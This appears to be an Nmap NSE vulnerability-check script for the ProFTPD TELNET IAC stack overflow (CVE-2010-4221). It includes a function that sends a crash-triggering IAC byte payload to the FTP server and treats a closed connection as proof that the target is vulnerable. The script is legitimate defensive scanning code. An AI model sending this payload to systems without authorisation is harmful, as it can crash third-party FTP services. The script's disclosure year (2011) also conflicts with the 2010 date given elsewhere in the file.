local ftp = require "ftp" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local stringaux = require "stringaux" local vulns = require "vulns" description = [[ Checks for a stack-based buffer overflow in the ProFTPD server, version between 1.3.2rc3 and 1.3.3b. By sending a large number of TELNET_IAC escape sequence, the proftpd process miscalculates the buffer length, and a remote attacker will be able to corrupt the stack and execute arbitrary code within the context of the proftpd process (CVE-2010-4221). Authentication is not required to exploit this vulnerability. Reference: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221 * http://www.exploit-db.com/exploits/15449/ * http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac ]] --- -- @usage -- nmap --script ftp-vuln-cve2010-4221 -p 21 -- -- @output -- PORT STATE SERVICE -- 21/tcp open ftp -- | ftp-vuln-cve2010-4221: -- | VULNERABLE: -- | ProFTPD server TELNET IAC stack overflow -- | State: VULNERABLE -- | IDs: CVE:CVE-2010-4221 BID:44562 -- | Risk factor: High CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C) -- | Description: -- | ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to -- | stack-based buffer overflow. By sending a large number of TELNET_IAC -- | escape sequence, a remote attacker will be able to corrupt the stack and -- | execute arbitrary code. -- | Disclosure date: 2010-11-02 -- | References: -- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221 -- | http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac -- | http://bugs.proftpd.org/show_bug.cgi?id=3521 -- |_ https://www.securityfocus.com/bid/44562 -- author = "Djalal Harouni" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"intrusive", "vuln"} portrule = function (host, port) if port.version.product ~= nil and port.version.product ~= "ProFTPD" then return false end return shortport.port_or_service(21, "ftp")(host, port) end local function get_proftpd_banner(banner) local version if banner then version = banner:match("ProFTPD%s([%w%.]+)%s") end return banner, version end local function ftp_finish(socket, status, message) if socket then socket:close() end return status, message end -- Returns true if the provided version is vulnerable local function is_version_vulnerable(version) local vers = stringaux.strsplit("%.", version) if #vers > 0 and vers[3] then local relnum = string.sub(vers[3], 1, 1) local extra = string.sub(vers[3], 2) if relnum == '2' then if extra:len() > 0 then if extra:match("rc%d") then local v = string.sub(extra, 3) if v and tonumber(v) > 2 then return true end else return true end end elseif relnum == '3' then if extra:len() == 0 or extra:match("[abrc]") then return true end end end return false end -- Returns true, true if the ProFTPD child was killed local function kill_proftpd(socket) local killed = false local TELNET_KILL = '\000'..'\255' -- TELNET_DUMMY..TELNET_IAC stdnse.debug2("sending evil TELNET_IAC commands.") local st, ret = socket:send(string.rep(TELNET_KILL, 4069).. '\255'..string.rep("Nmap", 256).."\n") if not st then return st, ret end -- We should receive command error if it's not vulnerable st, ret = socket:receive_lines(1) if not st then if ret == "EOF" then -- "connection closed" stdnse.debug2("remote proftpd child was killed.") killed = true else return st, ret end end return true, killed end local function check_proftpd(ftp_opts) local ftp_server = {} local socket, code, message = ftp.connect(ftp_opts.host, ftp_opts.port) if not socket then return socket, code end ftp_server.banner, ftp_server.version = get_proftpd_banner(message) if not ftp_server.banner then return ftp_finish(socket, false, "failed to get FTP banner.") elseif not ftp_server.banner:match("ProFTPD") then return ftp_finish(socket, false, "not a ProFTPD server.") end local vuln = ftp_opts.vuln -- check if this version is vulnerable if ftp_server.version then if not is_version_vulnerable(ftp_server.version) then vuln.state = vulns.STATE.NOT_VULN return ftp_finish(socket, true) end vuln.state = vulns.STATE.LIKELY_VULN end local status, killed = kill_proftpd(socket) if not status then return ftp_finish(socket, false, killed) elseif killed then vuln.state = vulns.STATE.VULN elseif not vuln.state then vuln.state = vulns.STATE.NOT_VULN end return ftp_finish(socket, true) end action = function(host, port) local ftp_opts = { host = host, port = port, vuln = { title = 'ProFTPD server TELNET IAC stack overflow', IDS = {CVE = 'CVE-2010-4221', BID = '44562'}, risk_factor = "High", scores = { CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)", }, description = [[ ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to stack-based buffer overflow. By sending a large number of TELNET_IAC escape sequence, a remote attacker will be able to corrupt the stack and execute arbitrary code.]], references = { 'http://bugs.proftpd.org/show_bug.cgi?id=3521', 'http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac', }, dates = { disclosure = {year = 2011, month = 11, day = 02}, }, } } local report = vulns.Report:new(SCRIPT_NAME, host, port) local status, err = check_proftpd(ftp_opts) if not status then stdnse.debug1("%s", err) return nil end return report:make_output(ftp_opts.vuln) end